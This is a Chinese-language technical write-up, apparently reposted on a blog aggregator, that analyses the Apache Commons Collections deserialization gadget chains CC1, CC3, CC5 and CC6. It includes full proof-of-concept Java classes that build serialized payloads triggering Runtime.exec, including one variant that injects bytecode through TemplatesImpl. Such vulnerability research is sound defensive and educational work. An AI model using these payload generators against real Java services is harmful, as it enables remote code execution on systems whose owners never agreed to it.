Apache Commons Collections反序列化链分析(二)

Apache Commons是Apache开源的Java通用类项目在Java中项目中被广泛的使用,Apache Commons当中有一个组件叫做Apache Commons Collections,主要封装了Java的Collection(集合)相关类对象

通过接口实现查询,能获取到 ConstantTransformer、invokerTransformer、ChainedTransformer、TransformedMap 这些类均实现了 Transformer接口

官网:http://commons.apache.org/proper/commons-collections/
Github:https://github.com/apache/commons-collections

作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发,而正是因为在大量web应用程序中这些类的实现以及方法的调用,导致了反序列化用漏洞的普遍性和严重性。Apache Commons Collections中有一个特殊的接口,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer

CommonsCollections1

环境:JDK1.7、commons-collections-3.1-3.2.1

漏洞点存在于

commons-collections-3.1-src.jar:
/org/apache/commons/collections/functors/InvokerTransformer.java

InvokerTransformer 类的transform方法中使用了反射,且反射参数均可控,所以我们可以利用这处代码调用任意类的任意方法

接下来我们需要利用反射调用恶意方法比如命令执行:Runtime.getRuntime().exec

但是得想办法构造出反射调用,类似下面的方式:

import java.io.IOException;
public class ExecuteCMD {public static void main(String [] args) throws IOException{// 普通命令执行Runtime.getRuntime().exec(new String [] { "deepin-calculator" });// 通过反射执行命令try{Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),new String [] { "deepin-calculator" });} catch(Exception e) {e.printStackTrace();}}
}

所以我们需要找到一处可以循环调用 transform 方法的地方来构造反射链

commons-collections-3.1.jar!/org/apache/commons/collections/functors/ChainedTransformer.class中有合适的transform方法,对 iTransformers 数组进行了循环遍历,并调用其元素的 transform 方法

所以我们可以构造上文提到的反射调用链,将 ChainedTransformerTransformer 属性按照如下构造:

Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /System/Applications/Calculator.app" })
};

数组第一个的ConstantTransformer 类执行 transform 方法后,会返回一个构造对象时传入的参数,在这里就是 Runtime.class

在构造好这些后,我们现在需要寻找可以调用 ChainedTransformer.transform() 方法的类

网上公开的主要有两条链: TransformedMapLazyMap 这两个利用链

ysoserial中的cc1使用的是LazyMap类,调用链为:

sun.reflect.annotation.AnnotationInvocationHandler.readObject()-> memberValues.entrySet()-> AnnotationInvocationHandler.invoke()-> memberValues.get() => LazyMap.get()-> factory.transform() => ChainedTransformer.transform()-> 反射构造Runtime.getRuntime().exec()

使用 TransformedMap类的调用链为

sun.reflect.annotation.AnnotationInvocationHandler.readObject()-> memberValue.setValue() => TransformedMap.setValue() => TransformedMap.checkSetValue()-> valueTransformer.transform() => ChainedTransformer.transform()-> 反射构造Runtime.getRuntime().exec()

LazyMap

LazyMap是Commons-collections 3.1提供的一个工具类,是Map的一个实现,主要的内容是利用工厂设计模式,在用户get一个不存在的key的时候执行一个方法来生成Key值,当且仅当get行为存在的时候Value才会被生成。

LazyMap测试代码,在get一个不存在的key的时候执行一个方法来生成Key值,下面的代码运行结果会调用transform()输出”leon”:

public class Test{public static void main(String[] args) throws Exception {Map targetMap = LazyMap.decorate(new HashMap(), new Transformer() {public Object transform(Object input) {return "leon";}});System.out.println(targetMap.get("hhhhhhhh"));}
}

继续看调用链,在 LazyMap:get() 中发现调用了 transform 方法,且前面的 factory 可控,只需将factory 设置为 ChainedTransformer 即可触发ChainedTransformer.transform(),所以我们继续搜下哪里调用了这个 get 方法

调用示意图:

AnnotationInvocationHandler 类的 invoke 方法中,我们可以看到有 get() 方法调用,且 this.memberValues 可控,将memberValues设置为LazyMap,这样就可以成功触发memberValues.get() => LazyMap.get()

调用示意图:

我们知道Proxy动态代理机制下被代理的类通过调用动态代理处理类(InvocationHandler)的invoke方法获取方法执行结果,通过动态代理,我们就可以触发这个 invoke 方法

所以我们可以利用Proxy动态代理AnnotationInvocationHandler,触发它的 invoke 方法,进而达成后续的调用链:

AnnotationInvocationHandler.invoke()-> memberValues.get() => LazyMap.get()-> factory.transform() => ChainedTransformer.transform()-> 反射构造Runtime.getRuntime().exec()

然后我们回到反序列化的触发处:AnnotationInvocationHandler.readObject()

readObject方法调用了memberValues.entrySet函数,在动态代理下会先调用invoke函数,最终达成了完整的利用链:

public class CC1_LazyMap {public static Object generatePayload() throws Exception {Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /System/Applications/Calculator.app" })};Transformer transformerChain = new ChainedTransformer(transformers);Map innermap = new HashMap();innermap.put("value", "leon");//factory.transform() => ChainedTransformer.transform()Map outmap = LazyMap.decorate(innermap,transformerChain);//通过反射获得AnnotationInvocationHandler类对象Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射获得cls的构造函数Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);//这里需要设置Accessible为true,否则序列化失败ctor.setAccessible(true);//通过newInstance()方法实例化对象InvocationHandler handler = (InvocationHandler)ctor.newInstance(Retention.class, outmap);Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);Object instance = ctor.newInstance(Retention.class, mapProxy);return instance;}public static void main(String[] args) throws Exception {payload2File(generatePayload(),"obj");}public static void payload2File(Object instance, String file)throws Exception {//将构造好的payload序列化后写入文件中ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));out.writeObject(instance);out.flush();out.close();}
}

TransformedMap

同样的,先找能可控调用ChainedTransformer.transform() 方法的类,该类中有3个方法均调用了 transform(),分别是 transformKey()、transformValue()、checkSetValue() ,且类名均可控:

接下来我们需要寻找重载了readObject方法的类且该readObject方法调用了上述其中之一可以触发调用 transform() 的方法,这样就可以构成完整的反序列化rce链

transformKey() transformValue() 在put公开方法中可以可控调用,但是寻找readObject方法中调用了的条件比较苛刻

再看checkSetValue() 方法,注释说当调用该类的 setValue方法时,会自动调用 checkSetValue 方法,该类 setValue 方法继承自父类的AbstractInputCheckedMapDecorator ,我们看其父类代码:

一直跟进发现最终调用了 Map.setValue() 方法,所以现在只需要找到一处 readObject 方法,只要它调用了 Map.setValue() 方法,即可完成整个反序列化链,相对于寻找 TransformedMap.put() 方法方便了许多。

我们可以在 AnnotationInvocationHandler 类的 readObject 方法中看到 setValue 方法的调用:

但是得先通过if判断,其中需要关注的就是 clazz、object 两个变量的值。实际上, clazz 的值只与 this.type 有关; object 只与 this.memberValues 有关,所以我们转而关注构造函数:

在构造函数中,程序要求我们传入的第一个参数必须继承 java.lang.annotation.Annotation 接口。而在 Java 中,所有的注解实际上都继承自该接口,所以我们第一个变量传入一个JDK自带注解,这样第二个 Map 类型的变量也可以正常赋值

实际上,并不是将 this.type设置成任意注解类都能执行 POC,参考七月火师傅的结论:

网络上很多分析文章将 this.type 设置成 java.lang.annotation.Retention.class ,但是没有说为什么这个类可以。而在调试代码的过程中,我发现这个问题和注解类中有无定义方法有关。只有定义了方法的注解才能触发 POC 。例如 java.lang.annotation.Retention、java.lang.annotation.Target 都可以触发,而 java.lang.annotation.Documented 则不行。而且我们 POC 中, innermap 必须有一个键名与注解类方法名一样的元素。而注解类方法返回类型将是 clazz 的值。

最后poc如下:

public class CC1_TransformedMap {public static Object generatePayload() throws Exception {Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /System/Applications/Calculator.app" })};Transformer transformerChain = new ChainedTransformer(transformers);Map innermap = new HashMap();innermap.put("value", "leon");Map outmap = TransformedMap.decorate(innermap, null, transformerChain);//通过反射获得AnnotationInvocationHandler类对象Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射获得cls的构造函数Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);//这里需要设置Accessible为true,否则序列化失败ctor.setAccessible(true);//通过newInstance()方法实例化对象Object instance = ctor.newInstance(Retention.class, outmap);return instance;}public static void main(String[] args) throws Exception {payload2File(generatePayload(),"obj");}public static void payload2File(Object instance, String file)throws Exception {//将构造好的payload序列化后写入文件中ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));out.writeObject(instance);out.flush();out.close();}
}

CommonsCollections3

环境:JDK1.7、commons-collections-3.1-3.2.1

CommonsCollections3的前半段触发的利用链跟CommonsCollections1是一样的,主要对后半段进行分析

TemplatesImpl

TemplatesImpl 类位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,实现了 Serializable 接口,因此它可以被序列化,我们来看一下漏洞触发点。

首先我们注意到该类中存在一个成员属性 _class,是一个 Class 类型的数组,数组里下标为_transletIndex 的类会在 getTransletInstance() 方法中使用 newInstance() 实例化。

newTransformer() 方法调用了 getTransletInstance() 方法:

其中 defineTransletClasses()getTransletInstance() 中,如果 _class 不为空即会被调用:

可以看到其中调用了defineClass函数,这里简单介绍一下:

public class StaticBlockTest {
}public class Cracker {public static byte[] generate(){try {String code = "{java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");}";ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.get(StaticBlockTest.class.getName());clazz.setName("demo");clazz.makeClassInitializer().insertAfter(code);return clazz.toBytecode();// ...}public static void main(String[] args) {byte[] clazz = generate();DefiningClassLoader loader = new DefiningClassLoader();Class cls = loader.defineClass("demo",clazz);// 从字节数组中恢复类try {cls.newInstance(); // 实例化该类时会自动调用静态块内的代码} // ...}
}

Java提供了ClassLoader从bytes数组中还原Class的方法,defineClass函数就是完成这一过程的函数。

理论上,如果代码中使用了这种方式,且byte数据的内容可控,我们可以执行任意Java代码

这里就用到了Java类的另一个特性,static block在类载入时自动执行块内的代码。我们可以通过javassist对静态块注入任意代码,该类被恢复并载入时会调用注入的代码,后文的利用链主要就是用到了这两个知识点

于是我们有了defineTransletClasses还原出类,getTransletInstance进行实例化,那么只需要构造一个合适的_bytecodes即可执行任意Java代码,还有一点需要注意,植入的templates._bytecodes数组,其最终还原的对象父类为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

TrAXFilter

在 SAX API 中提供了一个过滤器接口 org.xml.sax.XMLFilter,XMLFilterImpl 是对它的缺省实现,使用过滤器进行应用程序开发时,只要继承 XMLFilterImpl,就可以方便的实现自己的功能。

com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 是对 XMLFilterImpl 的实现,在其基础上扩展了 Templates/TransformerImpl/TransformerHandlerImpl 属性,

TrAXFilter 在实例化时接收 Templates 对象,并调用其 newTransformer 方法,这就可以触发 TemplatesImpl 的攻击 payload 了

InstantiateTransformer

现在我们需要实例化 TrAXFilter,我们当然可以使用 InvokerTransformer 反射拿到 Constructor 再 newInstance,但是同样地可以直接使用另外一个 Transformer:InstantiateTransformer

Commons Collections 提供了 InstantiateTransformer 用来通过反射创建类的实例,可以看到 transform() 方法实际上接收一个 Class 类型的对象,通过 getConstructor 获取构造方法,并通过 newInstance 创建类实例。

到这关键方法都介绍了一遍,只需要串成一个完整的链:

ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()Proxy(LazyMap).extrySet()AnnotationInvocationHandler.invoke()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InstantiateTransformer.transform()(TrAXFilter)Constructor.newInstance()TrAXFilter#TrAXFilter()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()(PayLoad)newInstance()Runtime.exec()

前半段链cc1已经介绍过了,这里是一样的,利用动态代理触发AnnotationInvocationHandler.invoke(),进而触发LazyMap.get()

这里factory为传入的ChainedTransformer,所以继续调用ChainedTransformer.transform()

然后循环调用transform,触发InstantiateTransformer.transform()

接下来利用 InstantiateTransformer 实例化 TrAXFilter 类,并调用 TemplatesImpl 的 newTransformer 方法实例化恶意类字节码触发漏洞,与前面介绍的各个类就串联成了一个完整的利用链

值得一提的是用到了javassist动态创建字节码,或者也可以直接class文件读取字节码,前者明显方便很多

我们已经知道了两种Java的任意代码执行的构造方式:

  1. 利用可控的反射机制。具体的Class、Method等均可控时,利用反射机制,可以构造出任意的类调用、类函数调用
  2. 利用可控的defineClass函数的byte数组。构造恶意的Class字节码数组,对静态块注入恶意代码

cc3的poc:

public class TrAXFilter_Exploit {public static void main(String[] args) throws Exception{//1.先创建恶意类ClassPool pool = ClassPool.getDefault();pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));CtClass tempExploitClass = pool.makeClass("evil");//一定要设置父类,为了后续顺利tempExploitClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));//写入payload,生成字节数组String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";tempExploitClass.makeClassInitializer().insertBefore(cmd);byte[] exploitBytes = tempExploitClass.toBytecode();//2.new一个TemplatesImpl对象,修改tmpl类属性,为了满足后续利用条件TemplatesImpl tmpl = new TemplatesImpl();//设置_bytecodes属性为exploitBytesField bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);bytecodes.set(tmpl, new byte[][]{exploitBytes});//一定要设置_name不为空Field _name = TemplatesImpl.class.getDeclaredField("_name");_name.setAccessible(true);_name.set(tmpl, "leon");//_class为空Field _class = TemplatesImpl.class.getDeclaredField("_class");_class.setAccessible(true);_class.set(tmpl, null);//3.构造chain,封装进LazyMapTransformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{tmpl})};ChainedTransformer chain = new ChainedTransformer(transformers);HashMap innermap = new HashMap();LazyMap lazymap = (LazyMap)LazyMap.decorate(innermap,chain);//4. 拿到cons,先做一个h1,h1.memberValues = lazymapfinal Constructor cons = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);cons.setAccessible(true);InvocationHandler h1 = (InvocationHandler) cons.newInstance(Target.class,lazymap);// 创建LazyMap的动态代理类实例Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),h1);// 创建一个AnnotationInvocationHandler实例h2,并且把刚刚创建的代理赋值给h2.memberValuesInvocationHandler h2 = (InvocationHandler)cons.newInstance(Target.class, mapProxy);ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File("cc3.ser")));fout.writeObject(h2);}
}

CommonsCollections5

环境:JDK1.8、commons-collections-3.1-3.2.1

JDK 在 1.8 之后对 AnnotationInvocationHandler 类进行了修复,所以在 JDK 1.8 版本需要找出能替代 AnnotationInvocationHandler 的新的可以利用的类

所以这个对象需要满足:

  • 类可序列化,类属性有个可控的Map对象或Object
  • 该类的类函数上有调用这个Map.get的地方

TiedMapEntry

TiedMapEntry有一个map类属性,且在getValue处调用了map.get函数。同时toString、hashCode、equals均调用了getValue函数,这里关注toString函数:

public Object getValue() {return map.get(key);
}public boolean equals(Object obj) {if (obj == this) {return true;}if (obj instanceof Map.Entry == false) {return false;}Map.Entry other = (Map.Entry) obj;Object value = getValue();return(key == null ? other.getKey() == null : key.equals(other.getKey())) &&(value == null ? other.getValue() == null : value.equals(other.getValue()));
}public int hashCode() {Object value = getValue();return (getKey() == null ? 0 : getKey().hashCode()) ^(value == null ? 0 : value.hashCode()); 
}public String toString() {return getKey() + "=" + getValue();
}

接下来需要找到一个可以触发TiedMapEntry.toString的类

BadAttributeValueExpException

BadAttributeValueExpException类的readObject函数会自动调用类属性的toString函数,构造的时候把val属性设置为TiedMapEntry即可,因为是private属性,需要反射构造

InvokerTransformer

这条链后半段就是cc1的TransformedMap,调用链如下:

ObjectInputStream.readObject()BadAttributeValueExpException.readObject()TiedMapEntry.toString()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

前半段就是前文介绍的,反序列化时BadAttributeValueExpException.readObject()去调用TiedMapEntry.toString(),toString会调用getValue方法,getValue调用LazyMap.get(),最终完成反序列化链,poc如下:

public class BadAttributeValueExpException_Exploit {public static void main(String[] args) throws Exception{Transformer[] transformers_exec = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})};Transformer chain = new ChainedTransformer(transformers_exec);HashMap innerMap = new HashMap();Map lazyMap = LazyMap.decorate(innerMap,chain);TiedMapEntry tmap = new TiedMapEntry(lazyMap, 123);BadAttributeValueExpException payload = new BadAttributeValueExpException(null);Field val = BadAttributeValueExpException.class.getDeclaredField("val");val.setAccessible(true);val.set(payload,tmap);ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File("cc5_InvokerTransformer.ser")));fout.writeObject(payload);}
}

InstantiateTransformer

其实cc3将前半段改为BadAttributeValueExpException.readObject-> TiedMapEntry.toString-> LazyMap.get调用,又可以组成一条新链,poc就不放了,利用链如下:

ObjectInputStream.readObject()BadAttributeValueExpException.readObject()TiedMapEntry.toString()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InstantiateTransformer.transform()(TrAXFilter)Constructor.newInstance()TrAXFilter#TrAXFilter()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()(PayLoad)newInstance()Runtime.exec()

TemplatesImpl

先给出利用链:

ObjectInputStream.readObject()BadAttributeValueExpException.readObject()TiedMapEntry.toString()TiedMapEntry.getValue()LazyMap.get()InvokerTransformer.transform()Method.invoke()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()Class.newInstance()Runtime.exec()

在TiedMapEntry的getValue中会将key参数传入,之后transform也会将key传递

在cc1中介绍过,InvokerTransformer.transform利用反射调用,这里直接input就是传入的key值,也就是TemplatesImpl类,利用反射调用直接调用TemplatesImpl.newTransformer,进而回到我们在cc3介绍过的TemplatesImpl类下的一系列触发链,最后调用defineClass进行字节码执行。

poc:

public class TemplatesImpl_Exploit {public static void main(String[] args) throws  Exception{//1.先创建恶意类ClassPool pool = ClassPool.getDefault();pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));CtClass tempExploitClass = pool.makeClass("evil");//一定要设置父类,为了后续顺利tempExploitClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));//写入payload,生成字节数组String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";tempExploitClass.makeClassInitializer().insertBefore(cmd);byte[] exploitBytes = tempExploitClass.toBytecode();//2.new一个TemplatesImpl对象,修改tmpl类属性,为了满足后续利用条件TemplatesImpl tmpl = new TemplatesImpl();//设置_bytecodes属性为exploitBytesField bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);bytecodes.set(tmpl, new byte[][]{exploitBytes});//一定要设置_name不为空Field _name = TemplatesImpl.class.getDeclaredField("_name");_name.setAccessible(true);_name.set(tmpl, "leon");//_class为空Field _class = TemplatesImpl.class.getDeclaredField("_class");_class.setAccessible(true);_class.set(tmpl, null);//3.构造InvokerTransformerInvokerTransformer iInvokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});//InvokerTransformer iInvokerTransformer = new InvokerTransformer("getOutputProperties",new Class[]{},new Object[]{});也可以HashMap innermap = new HashMap();LazyMap lazymap = (LazyMap)LazyMap.decorate(innermap,iInvokerTransformer);TiedMapEntry tmap = new TiedMapEntry(lazymap, tmpl);BadAttributeValueExpException payload = new BadAttributeValueExpException(null);Field val = BadAttributeValueExpException.class.getDeclaredField("val");val.setAccessible(true);val.set(payload,tmap);ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File("cc5_TemplatesImpl.ser")));fout.writeObject(payload);}}

CommonsCollections6

HashMap

在 CC5 中介绍TiedMapEntry的时候之前看到了hashcode方法也会调用 getValue() 方法然后调用到其中 map 的 get 方法触发 LazyMap,现在需要找到如何去触发TiedMapEntry.hashCode

后半段链不变,还是CC1的TransformedMap链后半部分

在反序列化一个 HashMap 对象时,会调用 key 对象的 hashCode 方法计算 hash 值,也就是HashMap的readObject方法:

但是构造完后发现,在LazyMap.get方法中会判断不通过,链子会断掉,无法进入ChainedTransformer.transform

我们可以改写一下,将lazyMap中hashmap的put之后的key去掉,这样就可以先执行,然后在反序列化时候再执行一遍,用lazyMap.remove(123)或者lazyMap.clear()都行

利用链如下:

ObjectInputStream.readObject()HashMap.readObject()HashMap.put()HashMap.hash()TiedMapEntry.hashCode()TiedMapEntry.getValue()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

poc:

public class HashMap_Exploit {public static void main(String[] args) throws Exception{Transformer[] transformers_exec = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})};Transformer chain = new ChainedTransformer(transformers_exec);HashMap innerMap = new HashMap();Map lazyMap = LazyMap.decorate(innerMap,chain);TiedMapEntry tmap = new TiedMapEntry(lazyMap, 123);HashMap hashMap = new HashMap();hashMap.put(tmap, "test");lazyMap.clear();ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File("cc6_HashMap.ser")));fout.writeObject(hashMap);}
}

fackchain

在向 HashMap push LazyMap 时先给个空的 ChainedTransformer,这样添加的时候不会执行任何恶意动作,put 之后再利用反射将lazymap内部的_itransformer属性改回到真正的chain

public class fackchain_Exploit {public static void main(String[] args) throws Exception{Transformer[] transformers_exec = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})};Transformer[] fakeTransformer = new Transformer[]{};//fake chainTransformer chain = new ChainedTransformer(fakeTransformer);HashMap innerMap = new HashMap();//先构造假的chainMap lazyMap = LazyMap.decorate(innerMap,chain);TiedMapEntry tmap = new TiedMapEntry(lazyMap, 123);HashMap hashMap = new HashMap();hashMap.put(tmap, "test");//用反射再改回真的chainField f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(chain, transformers_exec);//清空由于 hashMap.put 对 LazyMap 造成的影响lazyMap.clear();ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File("cc6_fakechain.ser")));fout.writeObject(hashMap);}
}

HashSet

HashSet的readObject方法会调用map.put,这里map可以控制为HashMap,进而调用HashMap.put

HashMap.put又会去调用HashMap.hash方法对key进行hashCode操作

这里k就是传入的key,所以当我们控制key为TiedMapEntry的key时,就可以触发TiedMapEntry.hashCode,从而回到之前介绍过的利用链上

利用链如下:

ObjectInputStream.readObject()HashSet.readObject()HashMap.put()HashMap.hash()TiedMapEntry.hashCode()TiedMapEntry.getValue()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transformInvokerTransformer.transform(Method.invoke()Class.getMethod()InvokerTransformer.transform(Method.invoke()Runtime.getRuntime()InvokerTransformer.transform(Method.invoke()Runtime.exec()

当然,到这里只是前半段进行了更改,后半段链子也可以进行替换,比如InstantiateTransformer和TemplatesImpl的利用链,前文也都介绍过,排列组合又是几条利用链

Reference

GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

深入理解 JAVA 反序列化漏洞

https://xz.aliyun.com/t/8009

https://blog.0kami.cn/2019/10/24/java/study-java-deserialized-commonscollections3-1/

https://su18.org/post/ysoserial-su18-2/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/133488.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据分享|R语言武汉流动人口趋势预测:灰色模型GM(1,1)、ARIMA时间序列、logistic逻辑回归模型...

全文链接:http://tecdat.cn/?p32496 人口流动与迁移,作为人类产生以来就存在的一种社会现象,伴随着人类文明的不断进步从未间断(点击文末“阅读原文”获取完整代码数据)。 相关视频 人力资源是社会文明进步、人民富裕…

pytorch生成CAM热力图-单张图像

利用ImageNet预训练模型生成CAM热力图-单张图像 一、环境搭建二、主要代码三、结果展示 代码和图片等资源均来源于哔哩哔哩up主:同济子豪兄 讲解视频:CAM可解释性分析-算法讲解 一、环境搭建 1,安装所需的包 pip install numpy pandas mat…

基于MediaPipe的人体摔倒检测

1 简介 1.1 研究背景及意义 现如今随着经济等各方面飞速发展,社会安全随之也成为必不可少的话题。而校园安全则是社会安全的重中之重,而在我们的校园中,湿滑的地面、楼梯等位置通常会发生摔倒,尽管有“小心脚下”的告示牌&#xf…

栈与队列经典题目——用队列实现栈

本篇文章讲解栈和队列这一部分知识点的经典题目:用栈实现队列、用队列实现栈。对应的题号分别为:Leetcode.225——用队列实现栈,。 在对两个题目进行解释之前,先回顾以下栈和队列的特点与不同: 栈是一种特殊的线性表…

如何隐藏Selenium特征实现自动化网页采集

Selenium是一个流行的自动化网页测试工具,可以通过模拟用户在Chrome浏览器中的操作来完成网站的测试。然而,有些网站会检测浏览器是否由Selenium驱动,如果是,就会返回错误的结果或拒绝访问。为了避免这种情况,我们需要…

网络安全进阶学习第十六课——业务逻辑漏洞介绍

文章目录 一、什么是业务逻辑二、业务逻辑漏洞的成因三、逻辑漏洞的重要性四、业务逻辑漏洞分类五、业务逻辑漏洞——业务授权安全1、未授权访问2、越权访问1) 平行越权(水平越权是指相同权限的不同用户可以互相访问)2) 垂直越权(垂直越权是指…

蓝桥杯 题库 简单 每日十题 day1

01 空间 本题为填空题,只需要算出结果后,在代码中使用输出语句将所填结果输出即可。 小蓝准备用 256MB 的内存空间开一个数组,数组的每个元素都是 32 位 二进制整数,如果不考虑程序占用的空间和维护内存需要的辅助空间&#xff…

免费开箱即用微鳄OA办公系统

编者按:本文介绍基于天翎低代码平台实现的微鳄OA办公系统功能,免费开箱即用。支持私有化部署,同时提供天翎开发后台,企业可按需求可灵活调整配置。 OA办公系统可以提高企业的效率、降低成本、增强管理能力和灵活性,同时…

华为云云耀云服务器L实例评测|华为云云耀云服务器L实例开展性能评测

作者简介: 辭七七,目前大二,正在学习C/C,Java,Python等 作者主页: 七七的个人主页 文章收录专栏: 七七的闲谈 欢迎大家点赞 👍 收藏 ⭐ 加关注哦!💖&#x1f…

element-ui tree组件实现在线增删改

这里要实现一个tree 增删改 <!--oracle巡检项--> <template><div class"oracle_instanceType"><el-row type"flex" align"middle" justify"space-between"><iclass"el-icon-s-fold iBox"click&q…

笔记1.1 计算机网络基本概念

计算机网络是通信技术与计算机技术紧密结合的产物 通信系统模型&#xff1a; 计算机网络是一种通信网络 计算机网络是互连的、自洽的计算机集合。 互连&#xff1a;互联互通 自洽&#xff1a;无主从关系 通过交换网络互连主机 Internet&#xff1a;数以百万计的互连的计算设…

webpack-cl明明已经安装了,但是还是会报未安装

解决办法&#xff1a;对当前项目目录进行安装 npm install webpack webpack-cli --save-dev

腾讯mini项目-【指标监控服务重构】2023-08-06

今日已办 feature/client_traces_profile 修改 consumer 4个阶段的 spankind将 profile 的 span 作为 root span&#xff0c;保持与 venus 的 follows from 的 link feature/profile-otelclient-metric 将 metric 部分使用新分支 push go.opentelemetry.io/otel/propagatio…

记一次在amd架构打包arm64架构的镜像的试错经历

前提 在amd架构打包了一个镜像&#xff0c;放在arm64架构服务器上可以load ,但是run的时候报平台不兼容的问题。 运行如下命令查看发现 架构属于 amd64 如下&#xff1a; docker inspect 镜像ID需要生成一个arm的镜像才能运行。 尝试 首先Dockerfile 的FROM 基础镜像就的是…

I/O多路复用三种实现

一.select 实现 &#xff08;1&#xff09;select流程 基本流程是&#xff1a; 1. 先构造一张有关文件描述符的表; fd_set readfds 2. 清空表 FD_ZERO() 3. 将你关心的文件描述符加入到这…

LeetCode-热题100-笔记-day29

199. 二叉树的右视图https://leetcode.cn/problems/binary-tree-right-side-view/ 给定一个二叉树的 根节点 root&#xff0c;想象自己站在它的右侧&#xff0c;按照从顶部到底部的顺序&#xff0c;返回从右侧所能看到的节点值。 示例 1: 输入: [1,2,3,null,5,null,4] 输出: [1…

OpenGL ES视频特效开发参考Shadertoy参数详解参考Godot文档

今天一个大厂的学员过来问shadertoy上一些参数的问题&#xff0c;因为我之前用过一段时间Godot引擎&#xff0c; 我清晰记得Godot官方文档有明确的解释&#xff0c;所以整理下发给做特效的同学。 Shadertoy是一个网站&#xff0c;它方便用户编写片段着色器并创造出纯粹的魔法。…

